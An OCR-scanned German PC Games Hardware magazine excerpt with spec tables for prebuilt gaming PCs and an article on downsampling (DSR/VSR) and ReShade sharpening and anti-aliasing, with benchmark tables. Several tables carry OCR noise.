DDR4-2400-Speicher, 
Netzteil von be quiet! und das MSI- 
Mainboard B250 PC Mate runden das 
Paket ab. Der Lärmpegel des PCs liegt 
bei 0,4 Sone bis 1,3 Sone. Sehr effizient 
ist der PCGH-Premium-PC ebenfalls, 
denn ohne Last messen wir im 2D-Be- 
trieb gerade mal 36 Watt. 


PC mit einer Terabyte- 


ein 400-Watt- 


(dw) 


Hardware 


Offizielles PCGH-Produkt 


Hersteller/Bezugsquelle 


Alternate (www.pcgh.de/alternate) 


Ryzen-Edition 
Alternate (www.pcgh.de/alternate) 


PCGH-Extreme-PC 
GTX1080-Edition V2 
Alternate (www.pcgh.de/alternate) 


PCGH-Ultima 
GTX1080Ti-Edition 
Alternate (www.pcgh.de/alternate) 


PCGH-Maximum-PC 


Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/premium-pc 


www.pcgh.de/ryzen1700-pc 


www.pcgh.de/extreme-pc 


www.pcgh.de/ultimate2-pc 


www.pcgh.de/maximum-pc 


Prozessor Intel Core i5-7500 (Sockel 1151) | AMD Ryzen 7 1700 (Sockel АМА) | Intel Core i7-7700K (Sockel 1151) | Intel Core 17-7800Х (Sockel 2066) | Intel Core i7-7820X (Sockel 2066) 
Grafikkarte Palit Geforce GTX 1080 Dual OC Asus Geforce GTX 1070 Dual Asus GTX 1080 Strix Advanced — | Gigabyte Aorus Geforce GTX 1080 Ti | Gigabyte Aorus Geforce GTX 1080 Ti 
Mainboard MSI B250 PC Mate MSI B350 PC Mate Asus Prime Z270-A Asus TUF X299 MARK 2 Asus TUF X299 MARK 2 


SSD-Laufwerk 


275-GB-SSD (Crucial MX300 M.2) 


275-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300) 


1.050-GB-SSD (Crucial MX300) 


1 TB + 512 GB M.2 (Crucial/Samsung) 


HDD-Laufwerk 


1.000-GB-HDD (Seagate Barracuda) 


1.000-GB-HDD (Seagate/WD Blue) 


3.000-GB-HDD (Seagate/WD Red) 


4.000-GB-HDD (Seagate Barracuda) 


32 GB DDR4-2666 (Ballistix) 


Speicher 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 16 GB DDR4-2400 (Ballistix) 32 GB DDR4-2400 (Ballistix) 

Netzteil be quiet! Pure Power 10 400W be quiet! Pure Power 10 400W Seasonic G-Series 550W PCGH-Ed. Seasonic Focus Plus 750 Gold Seasonic Focus Plus 750 Gold 
CPU-Kühler EKL Brocken 2 PCGH-Edition Scythe Mugen 5 PCGH-Edition Scythe Mugen 4 PCGH-Edition Scythe Mugen 5 PCGH-Edition Scythe Mugen 5 PCGH-Edition 
Gehäuse Alternate-Seriengehäuse Sharkoon M25-V Fractal Design R5 PCGH-Edition Alternate-Seriengehäuse Alternate-Seriengehäuse 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 


Gehäuselüfter/Sonstiges 
Leistung 


2 x Be quiet 140 mm, WLAN-Karte 


2 x Lüfter, WLAN-Karte 


3 x Lüfter, WLAN-Karte 


2 x Be quiet 140 mm, WLAN-Karte 


2 x Be quiet 140 mm, WLAN-Karte 


Lautstárke 2D (0,5 m) 0,4 Sone/24 dB(A) 0,1 Sone/18 dB(A) 0,2 Sone/21 dB(A) 0,4 Sone/23 dB(A) 0,4 Sone/23 dB(A) 
Lautstárke 3D (0,5 m) 1,3 Sone/32 dB(A) 1,5 Sone/33 dB(A) 1,0 Sone/30 dB(A) 1,3 Sone/31 dB(A) 1,2 Sone/31 dB(A) 
Leistungsaufnahme 2D/3D 36 Watt/252 Watt 46 Watt/232 Watt 43 Watt/289 Watt 68 Watt/371 Watt 66 Watt/379 Watt 
3D Mark (Fire Strike) 4.905 (U), 8.872 (E), 15.154 (S) 4.251 (U), 8.031 (E), 14.862 (S) 5.378 (U), 10.025 (E), 18.505 (S) | 6.952 (U), 12.930 (E), 19.075 (S) | 7.005 (U), 13.264 (E), 21.677 (S) 
Crysis 3/The Witcher 3 84 Fps/81 Fps 79 Fps/61 Fps 100 Fps/84 Fps 128 Fps/107 Fps 128 Fps/108 Fps 


Stalker: Call of Pripyat 


189 Fps (Sun Shafts, Ultra, 4x AA) 


163 Fps (Sun Shafts, Ultra, 4x AA) 


228 Fps (Sun Shafts, Ultra, 4x AA) 


215 Fps (Sun Shafts, Ultra, 4x AA 


228 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


297 Fps (1.920 x 1.080) 


236 Fps (1.920 x 1.080) 


307 Fps (1.920 x 1.080) 


374 Fps (1.920 x 1.080) 


401 Fps (1.920 x 1.080) 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Cinebench R11.5 x64 (CPU) 6,91 Punkte 15,60 Punkte 10,88 Punkte 14,27 Punkte 18,99 Punkte 
PREIS 
EE €1.449,- €1.529,- €2.099,- €2.579,- €3.019,- 
PREIS €1.549,- €1.629,- €2.199,- €2.729,- €3.169,- 


(inkl. Windows 10 Pro) 


(inkl. Windows 10 Pro) 


© Preis-Leistungs-Verhältnis 
© Geforce GTX 1080 
© Kleine SSD 


© Hohe CPU-Leistung (8 Kerne) 
© Aktuell leisester PC unter 2D 
© Hörbare Grafikkarte їп 3D 


© Sehr schnelle Geforce GTX 1080 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


© Schnelle 6-Kern-CPU 
© Sehr schnelle GTX 1080 Ti 
© Hoher Stromverbrauch 


© 8-Kern-CPU extrem schnell 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Stromverbrauch 


PC ist sofort einsatzbereit. 


* Preiserfassung und Produktdaten vom 06.09.2017, unter www.pcgh.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sämtliche Treiber installiert und der 
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Lifting für Spiele 


Jedes Spiel làsst sich mit ein paar Handgriffen optisch aufwerten. Je besser Ihr PC, desto mehr ist 


möglich. In diesem Artikel zeigen wir die Möglichkeiten auf. 


onsolenspieler haben keine 

‚Wahl, sie erleben jedes Spiel 
so, wie es vom Entwickler festge- 
legt wurde. Flimmernde Grafik? 
Zum Wohle der Bildrate. Matschige 
Texturen? Zum Wohle der Bildrate. 
Trotz allem nur 30 Fps? Hardware- 
Restriktion. PC-Spieler kónnen da- 
rüber nur müde lácheln, denn sie 
haben die Macht - jetzt brauchen 
Sie nur noch die Tools, und die 
Grafik Ihrer Lieblingsspiele wird 
besser denn je! 


Hóhere Auflósung 

Eine hóhere Auflósung führt zu 
besserer Qualität bei Fotos, Filmen 
und bei Spielen, denn je mehr Pixel 
zur Verfügung stehen, desto feiner 
sehen die dargestellten Inhalte aus. 
Da sich nicht jeder das Geld für ei- 
nen neuen Monitor aus dem Armel 
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schütteln kann, kommen kostenlose 
Alternativen gerade recht. Die 
máchtigste ist unter dem Oberbe- 
griff ,Downsampling" bekannt, 
wobei nichts anderes gemeint ist 
als die folgende Anweisung an die 
Grafikkarte: ,Arbeite intern mit 
mehr Pixeln und rechne das Bild 
anschliefsend auf die Ausgabe-Auf- 
lösung (des Monitors) herunter.“ 
Die Frucht dieser Bemühungen ist 
bessere Grafik mit feineren Details 
und größerer Bildruhe, da der In- 
formationsgehalt der höheren Auf- 
lösung in das Ergebnis einfließt. 


Um in den Genuss von Down- 
sampling zu kommen, benötigen 
Sie keine Zusatzprogramme, die 
Grafiktreiber von AMD (Radeon 
Software) und Nvidia (Geforce) 
bringen die Funktionalität mit. Auf 


der folgenden Seite haben wir die 
entsprechenden Menüs abgebildet. 
Nachdem Sie die paar Klicks hinter 
sich gebracht haben, flackert der 
Bildschirm kurz auf. Anschließend 
können Sie sowohl auf dem Win- 
dows-Desktop als auch in Spielen 
höhere Auflösungen anwählen. Das 
müssen Sie auch, um von Down- 
sampling zu profitieren - DSR und 
VSR kommen nicht zum Einsatz, 
wenn Sie weiter die native Pixel- 
menge Ihres Monitors einstellen. 
Erst wenn Sie eine der neuen (hö- 
heren) Auflösungen anwenden, 
wird die Bildqualität verbessert. 
Besitzer eines Full-HD-LCDs starten 
am besten mit 2.560 x 1.440. 


DSR ist die flexiblere der beiden 
Lösungen, die Auflösungsmultipli- 
katoren (siehe Tabelle auf der fol- 


genden Seite) funktionieren laut 
unseren Tests mit allen erdenkli- 
chen Bildschirmen. Welche VSR- 
Auflösungen Sie erhalten, richtet 
sich hingegen nach der installier- 
ten AMD-Grafikkarte. Die größte 
Flexibilität bieten die aktuellen 
Polaris- und Vega-GPUs. Im Gegen- 
zug zaubert VSR dank der besseren 
Filterung ein hübscheres Bild auf 
Ihren Bildschirm als DSR. Nach 
wie vor bietet VSR jedoch keine 
21:9-Unterstützung. Das heißt, wer 
ein LCD mit 2.560 x 1.080 oder 
3.440 x 1.440 Pixel nutzt, dem 
bringt VSR keinen Mehrwert oder 
lässt sich gar nicht erst aktivieren. 


Texturen schärfen 

Downsampling hilft dabei, feine 
Bildinhalte vollständig und flim- 
merarm darzustellen. Das gilt vor 
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allem für Texturen, welche bei 
geringen Bildschirmauflösungen 
nicht mit maximaler Qualität ange- 
zeigt werden. Hat man erst einmal 
den Downsampling-Hammer aus- 
gepackt und das Spiel ist flimmer- 
frei, treten andere Probleme in den 
Vordergrund: Einige Titel geizen 
mit Texturdetails. Zwar gibt es für 
einige Spiele Abhilfe in Form von 
Grafik- respektive Texturmods, in 
den meisten Fällen müssen jedoch 
andere Lösungen her. 


Die Universallösung für beinahe 
alle Spiele der vergangenen zehn 
Jahre hört auf den Namen Resha- 
de (www.reshade.me). Dahinter 
steckt eine Effektsammlung, mit 
der sich die Grafik verändern lässt. 
Die Möglichkeiten sind mannigfal- 
tig und erlauben es sogar, den Look 
eines Spiels völlig zu verändern. 
An dieser Stelle soll uns jedoch nur 
interessieren, wie man die beste- 
hende Grafik möglichst „knackig“ 
darstellt. Das Reshade-Paket bein- 
haltet mehrere Algorithmen zum 
Nachschärfen, unter anderem Ad- 
aptiveSharpen und LumaSharpen, 
wobei vor allem Ersteres empfeh- 
lenswert ist. Probieren Sie's doch 
einfach mal aus! Spiele wie Call of 
Duty: Black Ops, GTA 4, Brütal Le- 
gend und viele weitere lassen sich 
deutlich aufwerten. Übertreiben 
Sie's jedoch nicht, denn zu starkes 
Nachschärfen fördert Artefakte zu- 
tage und führt zu Flimmern. Auf 
den folgenden Seiten zeigen wir 
exemplarisch, wie Sie Reshade an- 
wenden und was es bringt. 


ШТІ Kantenglättung einfügen 
Reshade kann außerdem bei der 
Bildglättung helfen. Hin und 
wieder erscheinen Spiele, die 
gar kein Anti-Aliasing anbieten 
(GTA 4, oder aber Arcania: Go- 
thic 4, neben weiteren). Gegen das 
gröbste Flimmern hilft es, mittels 
Reshade die Glättungsverfahren 
SMAA oder FXAA anzuwenden. 
SMAA ist dabei die erste Wahl, da 
es versucht, wirklich nur Kanten 
zu glätten, während FXAA das 
komplette Bild weichzeichnet. Das 
letztgenannte Verfahren wird in 
zahlreichen Spielen verwendet, da 
es kaum Leistung kostet (unter an- 
derem in Bioshock Infinite, Sniper 
Elite 4 und Yooka-Laylee). Es kann 
sich lohnen, das Ingame-AA dort 
aus- und stattdessen das Reshade- 
SMAA einzuschalten. 
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DSR-Tabelle für Geforce-Grafikkarten: Native Auflösungen x DSR-Faktor 


Native Auflösung | Faktor 1,20x | Faktor 1,50x | Faktor 1,78x | Faktor 2,00x | Faktor 2,25x | Faktor 3,00x | Faktor 4,00x 
1.280 x 1.024 1.402 x 1.122 | 1.568 x 1.254 | 1.708 х 1.366 | 1.810 x 1.448 | 1.920 x 1.536 | 2.217 x 1.774 | 2.560 x 2.048 
1.366 x 768 1.496 x 841 1.673 x 941 1.822 x 1.025 | 1.932 x 1.086 | 2.048 x 1.152 | 2.366 x 1.330 | 2.732 x 1.536 
1.440 x 900 1.577 x 986 1.764 x 1.102 | 1.921 x 1.201 | 2.036 x 1.273 | 2.160 x 1.350 | 2.494 x 1.559 | 2.880 x 1.800 
1.600 x 900 1.753 x 986 Об ИОВ ИСНЕ 2.400 x 1.350. И 593 3.200 x 1.800 
1.600 x 1.200 1.253 x 1:315 13:960 x А ОН 2.135 %& 1.601 265 € 1.697 2.400 x 1.800 ЛБ 2:078. 3.200 x 2.400 
1.680 x 1.050 1.840 x 1.150 | 2.058 x 1.286 | 2.241 x 1.401 | 2.376 x 1.485 | 2.520 х 1.575 | 2.910 x 1.819 | 3.360 x 2.100 
1.920 x 1.080 О ДОЗОР ОБЕ 2:5 60/5] 240: БУА Б? 2.880 x 1.620 12:925 0308 3.840 x 2.160 
1.920 x 1.200 2.103 x 1.315 | 2.352 x 1.470 | 2.560 x 1.600 | 2.715 x 1.697 | 2.880 x 1.800 | 3.325 x 2.078 | 3.840 x 2.400 
2.048 x 1.152 2.243 x 1.262 | 2.508 x 1.411 | 2.732 x 1.537 | 2.896 x 1.629 | 3.072 x 1.728 | 3.547 x 1.995 | 4.096 x 2.304 
2.560 x 1.080 2.804 x 1.183 |3.135 x 1.323 | 3.415 x 1.441 | 3.620 x 1.527 | 3.840 x 1.620 | 4.434 x 1.871 | 5.120 x 2.160 
2.560 x 1.440 2.804 x 1.577 | 3.135 x 1.764 | 3.415 x 1.921 | 3.620 x 2.036 | 3.840 x 2.160 | 4.434 x 2.494 | 5.120 x 2.880 
2.560 x 1.600 2.504 21.753 13.1352 1607134152 777357 3620% 22637) 3.840 x 2.400 (А37 5.120 x 3.200 
3.440 x 1.440 3.768 х 1.577 | 4.213 x 1.764 | 4.589 х 1.921 | 4.865 x 2.036 | 5.160 x 2.160 | 5.958 x 2.494 | 6.880 x 2.880 
3.840 x 2.160 4.206 x 2.366 | 4.703 x 2.645 | 5.120 х 2.880 | 5.431 x 3.055 | 5.760 x 3.240 | 6.651 x 3.741 | 7.680 x 4.320 
4.096 x 2.160 4.487 x 2.366 | 5.017 x 2.645 | 5.465 x 2.882 | 5.793 x 3.055 | 6.144 x 3.240 | 7.094 x 3.741 | 8.192 x 4.320 
5.120 x 2.880 5.609 х 3.155 | 6.271 x 3.527 | 6.831 x 3.842 | 7.241 x 4.073 | 7.680 x 4.320 | 8.868 x 4.988 | 10.240 x 5.760 
Bemerkungen: Krumme Faktoren führen zu einem grieseligen Bild. Bei 2x2 (4x) kann auf деп Gaußfilter (, DSR-Gláttung") verzichtet werden. 
Einige Auflösungen rundet der Nvidia-Treiber eigenmáchtig auf gängige Werte (u. a. 2.560 x 1.440 ausgehend von 1.920 x 1.080). 

E Optimale Bildqualität Akzeptable Bildqualität IN Schlechte Bildqualität 


Leistungstest 

Am Ende dieses Artikels finden Sie 
zahlreiche Benchmarks. Die erste 
Messreihe zeigt auf, mit welchen 
Performance-Einbufsen Sie rech- 
nen müssen, wenn Sie die nahe- 
liegenden DSR-/VSR-Auflösungen 
2.560 x 1.440 und 3.840 x 2.160 auf 
einem Full-HD-Bildschirm aktivie- 
ren. Für die Benchmarks verwen- 
den wir die aktuellen Mittelklasse- 
Empfehlungen Radeon RX 580/8G 
und Geforce GTX 1060/6G sowie, 
um das obere Leistungsende zu zei- 
gen, eine GTX 1080 Ti. 


Die zweite Messreihe geht einen 
grofsen Schritt weiter und zeigt die 
Optionen auf, welche Nutzer eines 
Ultra-HD-Bildschirms haben - auch 
hier lässt sich Downsampling nut- 
zen, um die Pixelmengen 5K, 6K 
und sogar 8K zu erhalten. Hier ver- 
wenden wir die gleichen Grafikkar- 
ten, diesmal jedoch in Form starker 
Herstellerdesigns: 


I МІ GTX 1080 Ti Gaming X 11G 
1 Sapphire RX 580 Limited Edition 
I Asus GTX 1060 Strix ОбС 


Diese übertakten wir manuell an 
das stabile Limit, um möglichst 
grofse Reserven für die Pixelflut zu 
haben. Wie Sie sehen werden, ist 
alles jenseits von UHD dennoch sel- 
ten flüssig nutzbar, sofern moderne 
Spiele im Fokus stehen. Anspruchs- 
arme Titel wie Skyrim sind aber 
durchaus 8K-tauglich. (ns/rv) 


Die folgenden 3D-Einstellungen sollen verwendet werden: 


Globale Einstellungen | Programmeinstellungen 


Einstellungen: 


Funktion 
Anisotrope Filterung 
Antialiasing - FXAA 


Antialiasing — Einstellung 


Antialiasing - Gammakorrektur 


Antialiasing - Modus 


Antialiasing — Transparenz 


CUDA — GPUs 
DSR - Faktoren 


Einstellung 
Anwendungsgesteuert 
Aus 

Anwendungsgesteuert 


Ein 


Anwendungsgesteuert 

Aus 

Alle 

2.25x (native resolution);4.00x (native re... 


DSR - Glättung 33% v 


Dreifach-Puffer 


Energieverwaltungsmodus 


Maximale Anzahl der vorgerenderten Einz... 


Aus 
Optimale Leistung 


Einstellung für 3D-Anwendungen verwenden 


«93 Wiederherstellen 


DSR auf Geforce-Grafikkarten aktivieren: Wählen Sie unter „DSR-Faktoren” mindes- 
tens einen aus und klicken Sie anschließend unten auf „Übernehmen“. 


VSR auf Radeon-Grafikkarten aktivieren: Ein Klick auf , Virtual Super Resolution" 
unter , Anzeige" aktiviert die hohen Auflösungen - fertig. 
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Reshade: So einfach geht's 


Select game 


(Press 'Ctrl' while clicking to extract binaries for manual installation) 


Direct3D 9 Direct3D 10+ OpenGL 


Das Reshade-Startfenster erscheint nach dem Klick auf die Reshade-Ausführungsda- 
tei. Klicken Sie zum Beginnen auf den großen „Select game"-Knopf, woraufhin sich 
ein neues Fenster öffnet. 


Done 


Direct3D 9 e Direct3D 10+ OpenGL | 


Do you wish to download a collection of standard effects from 
https://github.com/crosire/reshade-shaders? 


L| 


Schlágt die automatische Erkennung der API (Direct 3D, Open GL) fehl, müssen Sie sie 
angeben. Für aktuelle Spiele ist , Direct3D 10+“ meist die beste Wahl, für Klassiker 
D3D9. Die folgende Frage bestätigen Sie mit „Ја“, woraufhin ein Download startet. 


go through a quick tutorial 


nd adju 
th 
right c 


cl ont e' butto tinue the tutorial 


Continue 


Name 


(*. ini) 


ing on the '+' button t 


Starten Sie nun das Spiel, begrüßt Sie direkt Reshade. Mit der Tastenkombination 
Shift+F2 gelangen Sie ins Reshade-Hauptmenü, wo Sie aufgefordert werden, für die- 
ses Spiel ein Profil anzulegen (, Test-Preset"). Bestätigen Sie dies mittels Enter-Taste. 
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D v ^ T « Games > Steam > steamapps > common > Yookalaylee 


Organisieren ~ Neuer Ordner 


Schnellzugriff Name Änderund 


in Desktop * T _CommonRedist 27.04.201 
T% Downloads * . Digital Art Book 27.04.201 
TE Dokumente ` EmptySteamDepot 27.04.201 
s Bilder + T Yooka-Laylee Soundtrack 27.04.201 

I T Yookalaylee64_Data 27.04.201 
El Desktop Š Yookalaylee64.exe 27.04.201 


Navigieren Sie durch die Ordnerstruktur Ihres Rechners, um das Spiel zu finden, das 


Sie mittels Reshade aufwerten möchten. Ein Doppelklick auf die Spiel-Exe bestätigt 
Ihren Wunsch. Im Bild sehen Sie ein Steam-Beispiel mit Pfad. 


Choose which effect files you want to install: 


AdaptiveFog.fx A 
AdaptiveSharpen.fx 

AmbientLight.fx 

Bloom.fx Е 
Border.fx 

CA.fx 

Cartoon.fx Е 
Clarity.fx 

ColorMatrix.fx С 
Colourfulness.fx 


J KI [<] [<] KJ [<] [<] [<] [<] [<] [© 


Uncheck All 


Sie können nun auf zahlreiche Effekte zurückgreifen. „Uncheck All" wählt sie alle ab, 
sodass Sie gezielt jene Aufwertungen aktivieren können, die Sie nutzen möchten. Wir 
wählen beispielhaft AdaptiveSharpen, SMAA und ein paar weitere aus. 


AdaptiveSharpen. f 
1.888 
8. 48 


In den folgenden Fenstern kónnen Sie die aktiven Effekte ein- und abschalten sowie 
konfigurieren. Im Beispiel ist AdaptiveSharpen ausgewählt; mittels Maustaste können 
Sie u. a. die Schárfung auf bis zu 2.000 (= 2,0) setzen (linke Taste halten und ziehen). 
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Bildvergleich: Mehr Details, mehr Glättung 


Reshade eignet sich nicht nur dazu, Spielen einen völlig anderen Look zu verpassen. Sie können damit auch die originalen Inhalte bestmöglich zur Geltung bringen, beispiels- 
weise durch Texturnachschärfung, welche mithilfe mehrerer Algorithmen möglich ist, oder mithilfe von Kantenglättung. Anstelle von FXAA, das Texturdetails verwischt, raten wir 
zu SMAA, das u. a. gänzlich AA-lose Spiele wie GTA 4 & Co. stark aufwertet. In Kombination mit Downsampling sind neue Optik-Sphären möglich. 


GTA 4 ohne Sharpening: Unscharfe Texturen GTA 4 mit Adaptive Sharpen: Detailgewinn wie bei einer Texturmodifikation 


Crysis Warhead in nativem Full HD: Pixelige Bäume, reichlich Flimmern Crysis Warhead downsampled (UHD@FHD): Feine, ruhige Vegetation 


PN | | 2 


GTA 4 тії SMAA via Reshade: Glatte Kanten, kein Verlust von Texturdetails 


== pe r 
| | 


A, p E 


PLATINUM 


GOLD ` 


GOLD P" A \ E 
Ж d 850 | 750 | 650 | 550 W 


7 
~ zt 
чу Ar Mindfactory.de j 

ч BORA DENT [| A cyberport ci digitec.cn FRSERII 2 de 


Comi ra 
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Leistung: Downsampling mit gàngigen Auflósungen (UHD und WQHD auf FHD-Display) 


TES 5: Skyrim, 8x MSAA/16:1 AF — „Secunda’s Kiss" 


GTX 1080 Ti – 1080р ESO I 237,1 (Basis) 


GTX 1080 Ti — 1440р © 1080р ie 213,8 (-10 96) 
GTX 1080 Ti - 2160р @ 1080р [Cm 130,1 (-45 96) 
RX 580/8G - 1080р me 126,6 (Basis) 
АХ 580/86 – 1440р @ 1080р GO  <IƏ£ 01,7 (-28 96) 
АХ 580/86 – 2160р @ 1080р [4l] 53,3 (-58 %) 
GTX 1060/66 - 1080р 145,9 (Basis) 
GTX 1060/66 – 1440р @ 1080р gg 103,3 (-29 %) 
GTX 1060/66 – 2160р @ 1080р ВЕ 58 58,5 (-60 96) 


Overwatch, max. Details, Ingame-AA/16:1 АЕ – „Dorado” 


GTX 1080 Ti – 1080p 235,5 (Basis) 


GTX 1080 Ti — 1440р © 1080р [Xa 153,6 (-33 %) 
GTX 1080 Ti — 2160р @ 1080р E 82,3 (-65 %) 
RX 580/86 - 1080р SSEKIW U !INSISEBSIBI 104,6 (Basis) 
RX 580/8G — 1440р @ 1080р ВСД 69,9 (-33 %) 
АХ 580/8G — 2160р © 1080р [33321] 35,5 (-66 96) 
GTX 1060/6G — 1080р ESS 104,9 (Basis) 
GTX 1060/6G – 1440р @ 1080р EEE 69,4 (-34 %) 
GTX 1060/6G – 2160р @ 1080р ВЗ 35,1 (-67 %) 


Bioshock Infinite, Ingame-AA/16:1 AF – „New Eden" 


GTX 1080 Ti – 1080р RRE 207.3 (Basis) 
GTX 1080 Ti – 1440р @ 1080р 147,2 (29 96) 
GTX 1080 Ti - 2160р © 1080р [Xr] 83,5 (-60 %) 
АХ 580/8G - 1080р TO 115,9 (Basis) 
АХ 580/8G — 1440р © 1080р [gr] 72,8 (-37 96) 
RX 580/86 — 2160р @ 1080р  ЗЗЇ| 35,2 (-70 96) 
GTX 1060/6G - 1080р EEG 112,1 (Basis) 
GTX 1060/6G – 1440р @ 1080р Leg) 71,9 (-36 96) 
GTX 1060/6G — 2160р @ 1080р В | 35,5 (-68 %) 


Doom (Vulkan), TSSAA 8TX/16:1 AF - „Devil's Dance" 


GTX 1080 Ti — 1080р RER 200,0 (Basis) 
GTX 1080 Ti – 1440р © 1080р [Cs S 171,2 (14 %) 
GTX 1080 Ti - 2160р @ 1080р EIN 86,9 (-57 96) 
АХ 580/8G - 1080р G ] i WAK a 153,6. (Basis) 
RX 580/8G — 1440р © 1080р [XXX 06,5 (-37 96) 
RX 580/86 — 2160р @ 1080р В 28 46,1 (-70 96) 
GTX 1060/66 - 1080р SSREg€EOIEKIIIFZF€Ç€I€IZÚ_ÀIƏIƏIIZ;15,8 (Basis) 
GTX 1060/66 – 1440р @ 1080р ВЕ 50] 73,5 (-37 %) 
GTX 1060/66 – 2160р @ 1080р 29 35,6 (-69 %) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks – „Boat Trip" 


GTX 1080 Ti – 1080р ipu, 132,0 (Basis) 
GTX 1080 Ti — 1440р © 1080р Loggt 93,2 (-29 %) 
GTX 1080 Ti — 2160р @ 1080р gel 50,7 (-62 %) 
RX 580/8G — 1080р ЄЙ! 62,5 (Basis) 
АХ 580/86 – 1440р @ 1080р ШЙ 43,1 (-31 96) 
АХ 580/86 – 2160р @ 1080р В |22,5 (-64 96) 
GTX 1060/66 – 1080р Feel 61,2 (Basis) 
GTX 1060/66 – 1440р @ 1080р В 39| 41,4 (-32 %) 
GTX 1060/66 - 2160р @ 1080р I| 22,0 (-64 %) 


Deus Ех: Mankind Divided (DX11), ТАА/16:1 AF - , Prague" 


GTX 1080 Ti – 1080р SSSERIICIDGIPOIIIGÚGWIIAIR 1 19,4 (Basis) 
GTX 1080 Ti - 1440р © 1080р EAN 83,8 (-30 96) 
GTX 1080 Ti 2160р @ 1080р ВЕ 211 45,5 (-62 96) 
АХ 580/86 — 1080р ШЕ 62,9 (Basis) 
АХ 580/86 – 1440р @ 1080р В 21 41,8 (-34 96) 
АХ 580/86 – 2160р © 1080р Mill 21,0 (-67 %) 
GTX 1060/66 – 1080р EST 57,6 (Basis) 
GTX 1060/66 – 1440р @ 1080р [B| 38,6 (-33 96) 
GTX 1060/66 – 2160р @ 1080р 881 19,9 (-65 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF - ,,Rooftops” 


GTX 1080 Ti – 1080р ESS ШЕ] 1147 (Basis) 
GTX 1080 Ti - 1440р © 1080р ISRERIRIIICIGII,IIIIWIIM (-29 96) 
GTX 1080 Ti – 2160р @ 1080р В 98 44,3 (-61 96) 
RX 580/86 — 1080р Page 55,5 (Basis) 
RX 580/8G — 1440р @ 1080р [C261 37,2 (-33 %) 
RX 580/8G — 2160р © 1080р I| 19,0 (-66 96) 
GTX 1060/6G — 1080р ВЕ 98 55,6 (Basis) 
GTX 1060/66 — 1440р @ 1080р ВЗ 37,3 (-33 %) 
GTX 1060/66 — 2160р @ 1080р Bil 16,0 (-71 %) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


GTX 1080 Ti – 1080р SSIQIKIUZIUIBI BIIISHIƏGuIUIƏIICLIÍ 104,5 (Basis) 
GTX 1080 Ti – 1440р © 1080р ВЕС 81,1 (-22 %) 
GTX 1080 Ti - 2160р © 1080р [X8] 49,3 (-53 96) 
RX 580/8G — 1080р ВЗ 47,4 (Basis) 
RX 580/8G — 1440р © 1080р EIN 37,0 (-22 96) 
RX 580/8G — 2160р @ 1080р 820 22,9 (-52 %) 
GTX 1060/6G - 1080р ВШ 98 49,4 (Basis) 
GTX 1060/6G – 1440р @ 1080р ЗЯ 36,9 (-25 %) 
GTX 1060/66 — 2160р @ 1080р Mil| 21,3 (-57 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


GTX 1080 Ti — 1080р ESL 103,5 (Basis) 
GTX 1080 Ti – 1440р @ 1080р BE 74,1 (-28 %) 
GTX 1080 Ti 2160р © 1080р [I 41,5 (-60 96) 
АХ 580/8G — 1080р В 8 45,2 (Basis) 
АХ 580/86 — 1440р © 1080р BZA] 32,5 (-28 96) 
АХ 580/86 – 2160р @ 1080р 88| 18,6 (-59 %) 
GTX 1060/66 — 1080p З 45,3 (Basis) 
GTX 1060/66 – 1440р @ 1080р 2918 31,1 (-31 %) 
GTX 1060/66 – 2160р @ 1080р Ш | 17,1 (-62 96) 
СТА 5 (DX11), Gras „sehr hoch”, 4х MSAA/16:1 AF - „Grapeseed” 
GTX 1080 Ti – 1080р BEER 71,7 (Basis) 
GTX 1080 Ti – 1440р © 1080р [38211 55,8 (-22 %) 
GTX 1080 Ti – 2160р @ 1080р В 829] 31,9 (-56 96) 
АХ 580/86 – 1080р 381 36,2 (Basis) 
АХ 580/86 – 1440р @ 1080р [/Ə3l| 25,7 (-29 %) 
АХ 580/86 – 2160р @ 1080р ЁЙ 13,2 (-64 %) 
GTX 1060/66 – 1080р В] 40,3 (Basis) 
GTX 1060/66 – 1440р @ 1080р [3261] 28,4 (-30 %) 
GTX 1060/66 – 2160р @ 1080р [ll 15,1 (-63 %) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 382.33 WHQL, Radeon Software 17.5.2 Non-WHQL 


Bemerkungen: Aktuelle Mittelklasse-Grafikkarten erlauben WQHD-Downsampling auf Full-HD-Displays mit ordentlichen Bildraten. Ultra HD läuft пиг bei anspruchsarmen Spielen flüssig. > Besser 
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Nebeneffekte übertriebener Bildschärfung (Moire) 


Black Mesa ohne Schärfung: Hochfrequente Texturen weitgehend sauber 


Black Mesa mit Schärfung: Unschönes Moir&-Muster tritt auf 


Leistung bei Ultra-Hi-Res-Downsampling (4K, 5K, 6K und 8K) 


TES 5: Skyrim, FXAA/16:1 AF - „Secunda’s Kiss" 


GTX 1080Ti OC- 2160р БЕСС ИШ 186,1 (Basis) 


GTX 1080 Ti OC – 3240р © 2160р ВӘ] 98,1 (-47 %) 
GTX 1080 Ti OC – 4320р © 2160р MA 62,8 (-66 96) 
GTX 1060/66 OC- 2160р EAU 82,6 (Basis) 
GTX 1060/66 OC - 3240р @ 2160р В 68 41,0 (-50 96) 
GTX 1060/66 OC – 4320р @ 2160р 221] 25,1 (-70 96) 
RX580/8G ОС – 2160р EIL 73,3 (Basis) 
RX 580/86 OC – 2880р @ 2160р ШШ 44,9 (-39 96) 
Doom (Vulkan), ТАА 1TX/16:1 АЕ – „Devil’s Dance” 


GTX 1080 Ti ОС -2160p EEE 106,1 (Basis) 
